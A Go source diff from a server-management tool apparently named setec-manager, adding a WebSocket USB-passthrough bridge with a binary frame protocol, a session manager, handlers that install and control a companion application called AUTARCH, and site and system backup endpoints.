b.sessions[sessionID] = bc
b.mu.Unlock()
log.Printf("[float/bridge] session %s connected from %s", sessionID, r.RemoteAddr)
// Start read/write loops
go b.writePump(bc)
b.readPump(bc)
}
// readPump reads binary frames from the WebSocket and dispatches them.
func (b *Bridge) readPump(bc *bridgeConn) {
defer b.cleanup(bc)
bc.conn.SetReadLimit(maxMessageSize)
bc.conn.SetReadDeadline(time.Now().Add(pongWait))
bc.conn.SetPongHandler(func(string) error {
bc.conn.SetReadDeadline(time.Now().Add(pongWait))
return nil
})
for {
messageType, data, err := bc.conn.ReadMessage()
if err != nil {
if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseNormalClosure) {
log.Printf("[float/bridge] session %s read error: %v", bc.sessionID, err)
}
return
}
if messageType != websocket.BinaryMessage {
b.sendError(bc, 0x0001, "expected binary message")
continue
}
frameType, payload, err := DecodeFrame(data)
if err != nil {
b.sendError(bc, 0x0002, "malformed frame: "+err.Error())
continue
}
// Update session ping in DB
b.db.PingFloatSession(bc.sessionID)
switch frameType {
case FrameEnumerate:
b.handleEnumerate(bc)
case FrameOpen:
b.handleOpen(bc, payload)
case FrameClose:
b.handleClose(bc, payload)
case FrameTransferOut:
b.handleTransfer(bc, payload)
case FrameInterrupt:
b.handleInterrupt(bc, payload)
case FramePong:
// Client responded to our ping; no action needed
default:
b.sendError(bc, 0x0003, "unknown frame type")
}
}
}
// writePump sends periodic pings to keep the connection alive.
func (b *Bridge) writePump(bc *bridgeConn) {
ticker := time.NewTicker(pingInterval)
defer ticker.Stop()
for {
select {
case <-ticker.C:
bc.mu.Lock()
bc.conn.SetWriteDeadline(time.Now().Add(writeWait))
err := bc.conn.WriteMessage(websocket.BinaryMessage, EncodeFrame(FramePing, nil))
bc.mu.Unlock()
if err != nil {
return
}
case <-bc.done:
return
}
}
}
// handleEnumerate responds with the current list of USB devices known to this
// session. In a full implementation, this would forward the enumerate request
// to the client-side USB agent and await its response. Here we return the
// cached device list.
func (b *Bridge) handleEnumerate(bc *bridgeConn) {
bc.mu.Lock()
devices := bc.devices
bc.mu.Unlock()
if devices == nil {
devices = []USBDevice{}
}
payload := EncodeDeviceList(devices)
b.sendFrame(bc, FrameEnumResult, payload)
}
// handleOpen processes a device open request. The payload contains
// [deviceID:2] identifying which device to claim.
func (b *Bridge) handleOpen(bc *bridgeConn, payload []byte) {
if len(payload) < 2 {
b.sendError(bc, 0x0010, "open: payload too short")
return
}
deviceID := uint16(payload[0])<<8 | uint16(payload[1])
// Verify the device exists in our known list
bc.mu.Lock()
found := false
for _, dev := range bc.devices {
if dev.DeviceID == deviceID {
found = true
break
}
}
bc.mu.Unlock()
if !found {
b.sendError(bc, 0x0011, "open: device not found")
return
}
// In a real implementation, this would claim the USB device via the host agent.
// For now, acknowledge the open request.
result := make([]byte, 3)
result[0] = payload[0]
result[1] = payload[1]
result[2] = 0x00 // success
b.sendFrame(bc, FrameOpenResult, result)
log.Printf("[float/bridge] session %s opened device 0x%04X", bc.sessionID, deviceID)
}
// handleClose processes a device close request. Payload: [deviceID:2].
func (b *Bridge) handleClose(bc *bridgeConn, payload []byte) {
if len(payload) < 2 {
b.sendError(bc, 0x0020, "close: payload too short")
return
}
deviceID := uint16(payload[0])<<8 | uint16(payload[1])
// Acknowledge close
result := make([]byte, 3)
result[0] = payload[0]
result[1] = payload[1]
result[2] = 0x00 // success
b.sendFrame(bc, FrameCloseResult, result)
log.Printf("[float/bridge] session %s closed device 0x%04X", bc.sessionID, deviceID)
}
// handleTransfer forwards a bulk/interrupt OUT transfer to the USB device.
func (b *Bridge) handleTransfer(bc *bridgeConn, payload []byte) {
deviceID, endpoint, transferData, err := DecodeTransfer(payload)
if err != nil {
b.sendError(bc, 0x0030, "transfer: "+err.Error())
return
}
// In a real implementation, the transfer data would be sent to the USB device
// via the host agent, and the response would be sent back. Here we acknowledge
// receipt of the transfer request.
log.Printf("[float/bridge] session %s transfer to device 0x%04X endpoint 0x%02X: %d bytes",
bc.sessionID, deviceID, endpoint, len(transferData))
// Build transfer result: [deviceID:2][endpoint:1][status:1]
result := make([]byte, 4)
result[0] = byte(deviceID >> 8)
result[1] = byte(deviceID)
result[2] = endpoint
result[3] = 0x00 // success
b.sendFrame(bc, FrameTransferResult, result)
}
// handleInterrupt processes an interrupt transfer request.
func (b *Bridge) handleInterrupt(bc *bridgeConn, payload []byte) {
if len(payload) < 3 {
b.sendError(bc, 0x0040, "interrupt: payload too short")
return
}
deviceID := uint16(payload[0])<<8 | uint16(payload[1])
endpoint := payload[2]
log.Printf("[float/bridge] session %s interrupt on device 0x%04X endpoint 0x%02X",
bc.sessionID, deviceID, endpoint)
// Acknowledge interrupt request
result := make([]byte, 4)
result[0] = payload[0]
result[1] = payload[1]
result[2] = endpoint
result[3] = 0x00 // success
b.sendFrame(bc, FrameInterruptResult, result)
}
// sendFrame writes a binary frame to the WebSocket connection.
func (b *Bridge) sendFrame(bc *bridgeConn, frameType byte, payload []byte) {
bc.mu.Lock()
defer bc.mu.Unlock()
bc.conn.SetWriteDeadline(time.Now().Add(writeWait))
if err := bc.conn.WriteMessage(websocket.BinaryMessage, EncodeFrame(frameType, payload)); err != nil {
log.Printf("[float/bridge] session %s write error: %v", bc.sessionID, err)
}
}
// sendError writes an error frame to the WebSocket connection.
func (b *Bridge) sendError(bc *bridgeConn, code uint16, message string) {
b.sendFrame(bc, FrameError, EncodeError(code, message))
}
// cleanup removes a connection from the active sessions and cleans up resources.
func (b *Bridge) cleanup(bc *bridgeConn) {
b.mu.Lock()
if current, ok := b.sessions[bc.sessionID]; ok && current == bc {
delete(b.sessions, bc.sessionID)
}
b.mu.Unlock()
close(bc.done)
bc.conn.Close()
log.Printf("[float/bridge] session %s disconnected", bc.sessionID)
}
// ActiveSessions returns the number of currently connected WebSocket sessions.
func (b *Bridge) ActiveSessions() int {
b.mu.RLock()
defer b.mu.RUnlock()
return len(b.sessions)
}
// DisconnectSession forcibly closes the WebSocket connection for a given session.
func (b *Bridge) DisconnectSession(sessionID string) {
b.mu.Lock()
bc, ok := b.sessions[sessionID]
if ok {
delete(b.sessions, sessionID)
}
b.mu.Unlock()
if ok {
close(bc.done)
bc.conn.WriteControl(
websocket.CloseMessage,
websocket.FormatCloseMessage(websocket.CloseNormalClosure, "session terminated"),
time.Now().Add(writeWait),
)
bc.conn.Close()
log.Printf("[float/bridge] session %s forcibly disconnected", sessionID)
}
}
// UpdateDeviceList sets the known device list for a session (called when the
// client-side USB agent reports its attached devices).
func (b *Bridge) UpdateDeviceList(sessionID string, devices []USBDevice) {
b.mu.RLock()
bc, ok := b.sessions[sessionID]
b.mu.RUnlock()
if ok {
bc.mu.Lock()
bc.devices = devices
bc.mu.Unlock()
}
}

View File

@ -0,0 +1,225 @@
package float
import (
"encoding/binary"
"fmt"
)
// Frame type constants define the binary protocol for USB passthrough over WebSocket.
const (
FrameEnumerate byte = 0x01
FrameEnumResult byte = 0x02
FrameOpen byte = 0x03
FrameOpenResult byte = 0x04
FrameClose byte = 0x05
FrameCloseResult byte = 0x06
FrameTransferOut byte = 0x10
FrameTransferIn byte = 0x11
FrameTransferResult byte = 0x12
FrameInterrupt byte = 0x20
FrameInterruptResult byte = 0x21
FramePing byte = 0xFE
FramePong byte = 0xFF
FrameError byte = 0xE0
)
// frameHeaderSize is the fixed size of a frame header: 1 byte type + 4 bytes length.
const frameHeaderSize = 5
// USBDevice represents a USB device detected on the client host.
type USBDevice struct {
VendorID uint16 `json:"vendor_id"`
ProductID uint16 `json:"product_id"`
DeviceID uint16 `json:"device_id"`
Manufacturer string `json:"manufacturer"`
Product string `json:"product"`
SerialNumber string `json:"serial_number"`
Class byte `json:"class"`
SubClass byte `json:"sub_class"`
}
// deviceFixedSize is the fixed portion of a serialized USBDevice:
// VendorID(2) + ProductID(2) + DeviceID(2) + Class(1) + SubClass(1) + 3 string lengths (2 each) = 14
const deviceFixedSize = 14
// EncodeFrame builds a binary frame: [type:1][length:4 big-endian][payload:N].
func EncodeFrame(frameType byte, payload []byte) []byte {
frame := make([]byte, frameHeaderSize+len(payload))
frame[0] = frameType
binary.BigEndian.PutUint32(frame[1:5], uint32(len(payload)))
copy(frame[frameHeaderSize:], payload)
return frame
}
// DecodeFrame parses a binary frame into its type and payload.
func DecodeFrame(data []byte) (frameType byte, payload []byte, err error) {
if len(data) < frameHeaderSize {
return 0, nil, fmt.Errorf("frame too short: need at least %d bytes, got %d", frameHeaderSize, len(data))
}
frameType = data[0]
length := binary.BigEndian.Uint32(data[1:5])
if uint32(len(data)-frameHeaderSize) < length {
return 0, nil, fmt.Errorf("frame payload truncated: header says %d bytes, have %d", length, len(data)-frameHeaderSize)
}
payload = make([]byte, length)
copy(payload, data[frameHeaderSize:frameHeaderSize+int(length)])
return frameType, payload, nil
}
// encodeString writes a length-prefixed string (2-byte big-endian length + bytes).
func encodeString(buf []byte, offset int, s string) int {
b := []byte(s)
binary.BigEndian.PutUint16(buf[offset:], uint16(len(b)))
offset += 2
copy(buf[offset:], b)
return offset + len(b)
}
// decodeString reads a length-prefixed string from the buffer.
func decodeString(data []byte, offset int) (string, int, error) {
if offset+2 > len(data) {
return "", 0, fmt.Errorf("string length truncated at offset %d", offset)
}
slen := int(binary.BigEndian.Uint16(data[offset:]))
offset += 2
if offset+slen > len(data) {
return "", 0, fmt.Errorf("string data truncated at offset %d: need %d bytes", offset, slen)
}
s := string(data[offset : offset+slen])
return s, offset + slen, nil
}
// serializeDevice serializes a single USBDevice into bytes.
func serializeDevice(dev USBDevice) []byte {
mfr := []byte(dev.Manufacturer)
prod := []byte(dev.Product)
ser := []byte(dev.SerialNumber)
size := deviceFixedSize + len(mfr) + len(prod) + len(ser)
buf := make([]byte, size)
binary.BigEndian.PutUint16(buf[0:], dev.VendorID)
binary.BigEndian.PutUint16(buf[2:], dev.ProductID)
binary.BigEndian.PutUint16(buf[4:], dev.DeviceID)
buf[6] = dev.Class
buf[7] = dev.SubClass
off := 8
off = encodeString(buf, off, dev.Manufacturer)
off = encodeString(buf, off, dev.Product)
_ = encodeString(buf, off, dev.SerialNumber)
return buf
}
// EncodeDeviceList serializes a slice of USBDevices for a FrameEnumResult payload.
// Format: [count:2 big-endian][device...]
func EncodeDeviceList(devices []USBDevice) []byte {
// First pass: serialize each device to compute total size
serialized := make([][]byte, len(devices))
totalSize := 2 // 2 bytes for count
for i, dev := range devices {
serialized[i] = serializeDevice(dev)
totalSize += len(serialized[i])
}
buf := make([]byte, totalSize)
binary.BigEndian.PutUint16(buf[0:], uint16(len(devices)))
off := 2
for _, s := range serialized {
copy(buf[off:], s)
off += len(s)
}
return buf
}
// DecodeDeviceList deserializes a FrameEnumResult payload into a slice of USBDevices.
func DecodeDeviceList(data []byte) ([]USBDevice, error) {
if len(data) < 2 {
return nil, fmt.Errorf("device list too short: need at least 2 bytes")
}
count := int(binary.BigEndian.Uint16(data[0:]))
off := 2
devices := make([]USBDevice, 0, count)
for i := 0; i < count; i++ {
if off+8 > len(data) {
return nil, fmt.Errorf("device %d: fixed fields truncated at offset %d", i, off)
}
dev := USBDevice{
VendorID: binary.BigEndian.Uint16(data[off:]),
ProductID: binary.BigEndian.Uint16(data[off+2:]),
DeviceID: binary.BigEndian.Uint16(data[off+4:]),
Class: data[off+6],
SubClass: data[off+7],
}
off += 8
var err error
dev.Manufacturer, off, err = decodeString(data, off)
if err != nil {
return nil, fmt.Errorf("device %d manufacturer: %w", i, err)
}
dev.Product, off, err = decodeString(data, off)
if err != nil {
return nil, fmt.Errorf("device %d product: %w", i, err)
}
dev.SerialNumber, off, err = decodeString(data, off)
if err != nil {
return nil, fmt.Errorf("device %d serial: %w", i, err)
}
devices = append(devices, dev)
}
return devices, nil
}
// EncodeTransfer serializes a USB transfer payload.
// Format: [deviceID:2][endpoint:1][data:N]
func EncodeTransfer(deviceID uint16, endpoint byte, data []byte) []byte {
buf := make([]byte, 3+len(data))
binary.BigEndian.PutUint16(buf[0:], deviceID)
buf[2] = endpoint
copy(buf[3:], data)
return buf
}
// DecodeTransfer deserializes a USB transfer payload.
func DecodeTransfer(data []byte) (deviceID uint16, endpoint byte, transferData []byte, err error) {
if len(data) < 3 {
return 0, 0, nil, fmt.Errorf("transfer payload too short: need at least 3 bytes, got %d", len(data))
}
deviceID = binary.BigEndian.Uint16(data[0:])
endpoint = data[2]
transferData = make([]byte, len(data)-3)
copy(transferData, data[3:])
return deviceID, endpoint, transferData, nil
}
// EncodeError serializes an error response payload.
// Format: [code:2 big-endian][message:UTF-8 bytes]
func EncodeError(code uint16, message string) []byte {
msg := []byte(message)
buf := make([]byte, 2+len(msg))
binary.BigEndian.PutUint16(buf[0:], code)
copy(buf[2:], msg)
return buf
}
// DecodeError deserializes an error response payload.
func DecodeError(data []byte) (code uint16, message string) {
if len(data) < 2 {
return 0, ""
}
code = binary.BigEndian.Uint16(data[0:])
message = string(data[2:])
return code, message
}

View File

@ -0,0 +1,248 @@
package float
import (
"fmt"
"log"
"sync"
"time"
"setec-manager/internal/db"
"github.com/google/uuid"
"github.com/gorilla/websocket"
)
// Session represents an active Float Mode session, combining database state
// with the live WebSocket connection reference.
type Session struct {
ID string `json:"id"`
UserID int64 `json:"user_id"`
ClientIP string `json:"client_ip"`
ClientAgent string `json:"client_agent"`
USBBridge bool `json:"usb_bridge"`
ConnectedAt time.Time `json:"connected_at"`
ExpiresAt time.Time `json:"expires_at"`
LastPing *time.Time `json:"last_ping,omitempty"`
conn *websocket.Conn
}
// SessionManager provides in-memory + database-backed session lifecycle
// management for Float Mode connections.
type SessionManager struct {
sessions map[string]*Session
mu sync.RWMutex
db *db.DB
}
// NewSessionManager creates a new SessionManager backed by the given database.
func NewSessionManager(database *db.DB) *SessionManager {
return &SessionManager{
sessions: make(map[string]*Session),
db: database,
}
}
// Create generates a new Float session with a random UUID, storing it in both
// the in-memory map and the database.
func (sm *SessionManager) Create(userID int64, clientIP, agent string, ttl time.Duration) (string, error) {
id := uuid.New().String()
now := time.Now()
expiresAt := now.Add(ttl)
session := &Session{
ID: id,
UserID: userID,
ClientIP: clientIP,
ClientAgent: agent,
ConnectedAt: now,
ExpiresAt: expiresAt,
}
// Persist to database first
if err := sm.db.CreateFloatSession(id, userID, clientIP, agent, expiresAt); err != nil {
return "", fmt.Errorf("create session: db insert: %w", err)
}
// Store in memory
sm.mu.Lock()
sm.sessions[id] = session
sm.mu.Unlock()
log.Printf("[float/session] created session %s for user %d from %s (expires %s)",
id, userID, clientIP, expiresAt.Format(time.RFC3339))
return id, nil
}
// Get retrieves a session by ID, checking the in-memory cache first, then
// falling back to the database. Returns nil and an error if not found.
func (sm *SessionManager) Get(id string) (*Session, error) {
// Check memory first
sm.mu.RLock()
if sess, ok := sm.sessions[id]; ok {
sm.mu.RUnlock()
// Check if expired
if time.Now().After(sess.ExpiresAt) {
sm.Delete(id)
return nil, fmt.Errorf("session %s has expired", id)
}
return sess, nil
}
sm.mu.RUnlock()
// Fall back to database
dbSess, err := sm.db.GetFloatSession(id)
if err != nil {
return nil, fmt.Errorf("get session: %w", err)
}
// Check if expired
if time.Now().After(dbSess.ExpiresAt) {
sm.db.DeleteFloatSession(id)
return nil, fmt.Errorf("session %s has expired", id)
}
// Hydrate into memory
session := &Session{
ID: dbSess.ID,
UserID: dbSess.UserID,
ClientIP: dbSess.ClientIP,
ClientAgent: dbSess.ClientAgent,
USBBridge: dbSess.USBBridge,
ConnectedAt: dbSess.ConnectedAt,
ExpiresAt: dbSess.ExpiresAt,
LastPing: dbSess.LastPing,
}
sm.mu.Lock()
sm.sessions[id] = session
sm.mu.Unlock()
return session, nil
}
// Delete removes a session from both the in-memory map and the database.
func (sm *SessionManager) Delete(id string) error {
sm.mu.Lock()
sess, ok := sm.sessions[id]
if ok {
// Close the WebSocket connection if it exists
if sess.conn != nil {
sess.conn.WriteControl(
websocket.CloseMessage,
websocket.FormatCloseMessage(websocket.CloseNormalClosure, "session deleted"),
time.Now().Add(5*time.Second),
)
sess.conn.Close()
}
delete(sm.sessions, id)
}
sm.mu.Unlock()
if err := sm.db.DeleteFloatSession(id); err != nil {
return fmt.Errorf("delete session: db delete: %w", err)
}
log.Printf("[float/session] deleted session %s", id)
return nil
}
// Ping updates the last-ping timestamp for a session in both memory and DB.
func (sm *SessionManager) Ping(id string) error {
now := time.Now()
sm.mu.Lock()
if sess, ok := sm.sessions[id]; ok {
sess.LastPing = &now
}
sm.mu.Unlock()
if err := sm.db.PingFloatSession(id); err != nil {
return fmt.Errorf("ping session: %w", err)
}
return nil
}
// CleanExpired removes all sessions that have passed their expiry time.
// Returns the number of sessions removed.
func (sm *SessionManager) CleanExpired() (int, error) {
now := time.Now()
// Clean from memory
sm.mu.Lock()
var expiredIDs []string
for id, sess := range sm.sessions {
if now.After(sess.ExpiresAt) {
expiredIDs = append(expiredIDs, id)
if sess.conn != nil {
sess.conn.WriteControl(
websocket.CloseMessage,
websocket.FormatCloseMessage(websocket.CloseNormalClosure, "session expired"),
now.Add(5*time.Second),
)
sess.conn.Close()
}
}
}
for _, id := range expiredIDs {
delete(sm.sessions, id)
}
sm.mu.Unlock()
// Clean from database
count, err := sm.db.CleanExpiredFloatSessions()
if err != nil {
return len(expiredIDs), fmt.Errorf("clean expired: db: %w", err)
}
total := int(count)
if total > 0 {
log.Printf("[float/session] cleaned %d expired sessions", total)
}
return total, nil
}
// ActiveCount returns the number of sessions currently in the in-memory map.
func (sm *SessionManager) ActiveCount() int {
sm.mu.RLock()
defer sm.mu.RUnlock()
return len(sm.sessions)
}
// SetConn associates a WebSocket connection with a session.
func (sm *SessionManager) SetConn(id string, conn *websocket.Conn) {
sm.mu.Lock()
if sess, ok := sm.sessions[id]; ok {
sess.conn = conn
sess.USBBridge = true
}
sm.mu.Unlock()
}
// List returns all active (non-expired) sessions from the database.
func (sm *SessionManager) List() ([]Session, error) {
dbSessions, err := sm.db.ListFloatSessions()
if err != nil {
return nil, fmt.Errorf("list sessions: %w", err)
}
sessions := make([]Session, 0, len(dbSessions))
for _, dbs := range dbSessions {
if time.Now().After(dbs.ExpiresAt) {
continue
}
sessions = append(sessions, Session{
ID: dbs.ID,
UserID: dbs.UserID,
ClientIP: dbs.ClientIP,
ClientAgent: dbs.ClientAgent,
USBBridge: dbs.USBBridge,
ConnectedAt: dbs.ConnectedAt,
ExpiresAt: dbs.ExpiresAt,
LastPing: dbs.LastPing,
})
}
return sessions, nil
}

View File

@ -0,0 +1,272 @@
package handlers
import (
"encoding/json"
"fmt"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"setec-manager/internal/deploy"
)
type autarchStatus struct {
Installed bool `json:"installed"`
InstallDir string `json:"install_dir"`
GitCommit string `json:"git_commit"`
VenvReady bool `json:"venv_ready"`
PipPackages int `json:"pip_packages"`
WebRunning bool `json:"web_running"`
WebStatus string `json:"web_status"`
DNSRunning bool `json:"dns_running"`
DNSStatus string `json:"dns_status"`
}
func (h *Handler) AutarchStatus(w http.ResponseWriter, r *http.Request) {
status := h.getAutarchStatus()
h.render(w, "autarch.html", status)
}
func (h *Handler) AutarchStatusAPI(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, h.getAutarchStatus())
}
func (h *Handler) getAutarchStatus() autarchStatus {
dir := h.Config.Autarch.InstallDir
status := autarchStatus{InstallDir: dir}
// Check if installed
if _, err := os.Stat(filepath.Join(dir, ".git")); err == nil {
status.Installed = true
}
// Git commit
if hash, message, err := deploy.CurrentCommit(dir); err == nil {
status.GitCommit = hash + " " + message
}
// Venv
status.VenvReady = deploy.VenvExists(dir)
// Pip packages
venvDir := filepath.Join(dir, "venv")
if pkgs, err := deploy.ListPackages(venvDir); err == nil {
status.PipPackages = len(pkgs)
}
// Web service
webActive, _ := deploy.IsActive("autarch-web")
status.WebRunning = webActive
if webActive {
status.WebStatus = "active"
} else {
status.WebStatus = "inactive"
}
// DNS service
dnsActive, _ := deploy.IsActive("autarch-dns")
status.DNSRunning = dnsActive
if dnsActive {
status.DNSStatus = "active"
} else {
status.DNSStatus = "inactive"
}
return status
}
func (h *Handler) AutarchInstall(w http.ResponseWriter, r *http.Request) {
dir := h.Config.Autarch.InstallDir
repo := h.Config.Autarch.GitRepo
branch := h.Config.Autarch.GitBranch
if _, err := os.Stat(filepath.Join(dir, ".git")); err == nil {
writeError(w, http.StatusConflict, "AUTARCH already installed at "+dir)
return
}
depID, _ := h.DB.CreateDeployment(nil, "autarch_install")
var output strings.Builder
steps := []struct {
label string
fn func() error
}{
{"Clone from GitHub", func() error {
os.MkdirAll(filepath.Dir(dir), 0755)
out, err := deploy.Clone(repo, branch, dir)
output.WriteString(out)
return err
}},
{"Create Python venv", func() error {
return deploy.CreateVenv(dir)
}},
{"Upgrade pip", func() error {
venvDir := filepath.Join(dir, "venv")
deploy.UpgradePip(venvDir)
return nil
}},
{"Install pip packages", func() error {
reqFile := filepath.Join(dir, "requirements.txt")
if _, err := os.Stat(reqFile); err != nil {
return nil
}
venvDir := filepath.Join(dir, "venv")
out, err := deploy.InstallRequirements(venvDir, reqFile)
output.WriteString(out)
return err
}},
{"Install npm packages", func() error {
out, _ := deploy.NpmInstall(dir)
output.WriteString(out)
return nil
}},
{"Set permissions", func() error {
exec.Command("chown", "-R", "root:root", dir).Run()
exec.Command("chmod", "-R", "755", dir).Run()
for _, d := range []string{"data", "data/certs", "data/dns", "results", "dossiers", "models"} {
os.MkdirAll(filepath.Join(dir, d), 0755)
}
confPath := filepath.Join(dir, "autarch_settings.conf")
if _, err := os.Stat(confPath); err == nil {
exec.Command("chmod", "600", confPath).Run()
}
return nil
}},
{"Install systemd units", func() error {
h.installAutarchUnits(dir)
return nil
}},
}
for _, step := range steps {
output.WriteString(fmt.Sprintf("\n=== %s ===\n", step.label))
if err := step.fn(); err != nil {
h.DB.FinishDeployment(depID, "failed", output.String())
writeError(w, http.StatusInternalServerError, fmt.Sprintf("%s failed: %v", step.label, err))
return
}
}
h.DB.FinishDeployment(depID, "success", output.String())
writeJSON(w, http.StatusOK, map[string]string{"status": "installed"})
}
func (h *Handler) AutarchUpdate(w http.ResponseWriter, r *http.Request) {
dir := h.Config.Autarch.InstallDir
depID, _ := h.DB.CreateDeployment(nil, "autarch_update")
var output strings.Builder
// Git pull
out, err := deploy.Pull(dir)
output.WriteString(out)
if err != nil {
h.DB.FinishDeployment(depID, "failed", output.String())
writeError(w, http.StatusInternalServerError, "git pull failed")
return
}
// Reinstall pip packages
reqFile := filepath.Join(dir, "requirements.txt")
if _, err := os.Stat(reqFile); err == nil {
venvDir := filepath.Join(dir, "venv")
pipOut, _ := deploy.InstallRequirements(venvDir, reqFile)
output.WriteString(pipOut)
}
// Restart services
deploy.Restart("autarch-web")
deploy.Restart("autarch-dns")
h.DB.FinishDeployment(depID, "success", output.String())
writeJSON(w, http.StatusOK, map[string]string{"status": "updated"})
}
func (h *Handler) AutarchStart(w http.ResponseWriter, r *http.Request) {
deploy.Start("autarch-web")
deploy.Start("autarch-dns")
writeJSON(w, http.StatusOK, map[string]string{"status": "started"})
}
func (h *Handler) AutarchStop(w http.ResponseWriter, r *http.Request) {
deploy.Stop("autarch-web")
deploy.Stop("autarch-dns")
writeJSON(w, http.StatusOK, map[string]string{"status": "stopped"})
}
func (h *Handler) AutarchRestart(w http.ResponseWriter, r *http.Request) {
deploy.Restart("autarch-web")
deploy.Restart("autarch-dns")
writeJSON(w, http.StatusOK, map[string]string{"status": "restarted"})
}
func (h *Handler) AutarchConfig(w http.ResponseWriter, r *http.Request) {
confPath := filepath.Join(h.Config.Autarch.InstallDir, "autarch_settings.conf")
data, err := os.ReadFile(confPath)
if err != nil {
writeError(w, http.StatusNotFound, "config not found")
return
}
writeJSON(w, http.StatusOK, map[string]string{"config": string(data)})
}
func (h *Handler) AutarchConfigUpdate(w http.ResponseWriter, r *http.Request) {
var body struct {
Config string `json:"config"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid body")
return
}
confPath := filepath.Join(h.Config.Autarch.InstallDir, "autarch_settings.conf")
if err := os.WriteFile(confPath, []byte(body.Config), 0600); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]string{"status": "saved"})
}
func (h *Handler) AutarchDNSBuild(w http.ResponseWriter, r *http.Request) {
dnsDir := filepath.Join(h.Config.Autarch.InstallDir, "services", "dns-server")
depID, _ := h.DB.CreateDeployment(nil, "dns_build")
cmd := exec.Command("go", "build", "-o", "autarch-dns", ".")
cmd.Dir = dnsDir
out, err := cmd.CombinedOutput()
if err != nil {
h.DB.FinishDeployment(depID, "failed", string(out))
writeError(w, http.StatusInternalServerError, "build failed: "+string(out))
return
}
h.DB.FinishDeployment(depID, "success", string(out))
writeJSON(w, http.StatusOK, map[string]string{"status": "built"})
}
func (h *Handler) installAutarchUnits(dir string) {
webUnit := deploy.GenerateUnit(deploy.UnitConfig{
Name: "autarch-web",
Description: "AUTARCH Web Dashboard",
ExecStart: filepath.Join(dir, "venv", "bin", "python3") + " " + filepath.Join(dir, "autarch_web.py"),
WorkingDirectory: dir,
User: "root",
Environment: map[string]string{"PYTHONUNBUFFERED": "1"},
})
dnsUnit := deploy.GenerateUnit(deploy.UnitConfig{
Name: "autarch-dns",
Description: "AUTARCH DNS Server",
ExecStart: filepath.Join(dir, "services", "dns-server", "autarch-dns") + " --config " + filepath.Join(dir, "data", "dns", "config.json"),
WorkingDirectory: dir,
User: "root",
})
deploy.InstallUnit("autarch-web", webUnit)
deploy.InstallUnit("autarch-dns", dnsUnit)
}

View File

@ -0,0 +1,146 @@
package handlers
import (
"fmt"
"net/http"
"os"
"os/exec"
"path/filepath"
"time"
)
func (h *Handler) BackupList(w http.ResponseWriter, r *http.Request) {
backups, err := h.DB.ListBackups()
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
if acceptsJSON(r) {
writeJSON(w, http.StatusOK, backups)
return
}
h.render(w, "backups.html", backups)
}
func (h *Handler) BackupSite(w http.ResponseWriter, r *http.Request) {
id, err := paramInt(r, "id")
if err != nil {
writeError(w, http.StatusBadRequest, "invalid id")
return
}
site, err := h.DB.GetSite(id)
if err != nil || site == nil {
writeError(w, http.StatusNotFound, "site not found")
return
}
// Create backup directory
backupDir := h.Config.Backups.Dir
os.MkdirAll(backupDir, 0755)
timestamp := time.Now().Format("20060102-150405")
filename := fmt.Sprintf("site-%s-%s.tar.gz", site.Domain, timestamp)
backupPath := filepath.Join(backupDir, filename)
// Create tar.gz
cmd := exec.Command("tar", "-czf", backupPath, "-C", filepath.Dir(site.AppRoot), filepath.Base(site.AppRoot))
out, err := cmd.CombinedOutput()
if err != nil {
writeError(w, http.StatusInternalServerError, fmt.Sprintf("backup failed: %s", string(out)))
return
}
// Get file size
info, _ := os.Stat(backupPath)
size := int64(0)
if info != nil {
size = info.Size()
}
bID, _ := h.DB.CreateBackup(&id, "site", backupPath, size)
writeJSON(w, http.StatusCreated, map[string]interface{}{
"id": bID,
"path": backupPath,
"size": size,
})
}
func (h *Handler) BackupFull(w http.ResponseWriter, r *http.Request) {
backupDir := h.Config.Backups.Dir
os.MkdirAll(backupDir, 0755)
timestamp := time.Now().Format("20060102-150405")
filename := fmt.Sprintf("full-system-%s.tar.gz", timestamp)
backupPath := filepath.Join(backupDir, filename)
// Backup key directories
dirs := []string{
h.Config.Nginx.Webroot,
"/etc/nginx",
"/opt/setec-manager/data",
}
args := []string{"-czf", backupPath}
for _, d := range dirs {
if _, err := os.Stat(d); err == nil {
args = append(args, d)
}
}
cmd := exec.Command("tar", args...)
out, err := cmd.CombinedOutput()
if err != nil {
writeError(w, http.StatusInternalServerError, fmt.Sprintf("backup failed: %s", string(out)))
return
}
info, _ := os.Stat(backupPath)
size := int64(0)
if info != nil {
size = info.Size()
}
bID, _ := h.DB.CreateBackup(nil, "full", backupPath, size)
writeJSON(w, http.StatusCreated, map[string]interface{}{
"id": bID,
"path": backupPath,
"size": size,
})
}
func (h *Handler) BackupDelete(w http.ResponseWriter, r *http.Request) {
id, err := paramInt(r, "id")
if err != nil {
writeError(w, http.StatusBadRequest, "invalid id")
return
}
// Get backup info to delete file
var filePath string
h.DB.Conn().QueryRow(`SELECT file_path FROM backups WHERE id=?`, id).Scan(&filePath)
if filePath != "" {
os.Remove(filePath)
}
h.DB.DeleteBackup(id)
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
func (h *Handler) BackupDownload(w http.ResponseWriter, r *http.Request) {
id, err := paramInt(r, "id")
if err != nil {
writeError(w, http.StatusBadRequest, "invalid id")
return
}
var filePath string
h.DB.Conn().QueryRow(`SELECT file_path FROM backups WHERE id=?`, id).Scan(&filePath)
if filePath == "" {
writeError(w, http.StatusNotFound, "backup not found")
return
}
w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", filepath.Base(filePath)))
http.ServeFile(w, r, filePath)
}

View File

@ -0,0 +1,151 @@
package handlers
import (
"fmt"
"net/http"
"os/exec"
"runtime"
"strconv"
"strings"
"time"
"setec-manager/internal/deploy"
"setec-manager/internal/system"
)
type systemInfo struct {
Hostname string `json:"hostname"`
OS string `json:"os"`
Arch string `json:"arch"`
CPUs int `json:"cpus"`
Uptime string `json:"uptime"`
LoadAvg string `json:"load_avg"`
MemTotal string `json:"mem_total"`
MemUsed string `json:"mem_used"`
MemPercent float64 `json:"mem_percent"`
DiskTotal string `json:"disk_total"`
DiskUsed string `json:"disk_used"`
DiskPercent float64 `json:"disk_percent"`
SiteCount int `json:"site_count"`
Services []serviceInfo `json:"services"`
}
type serviceInfo struct {
Name string `json:"name"`
Status string `json:"status"`
Running bool `json:"running"`
}
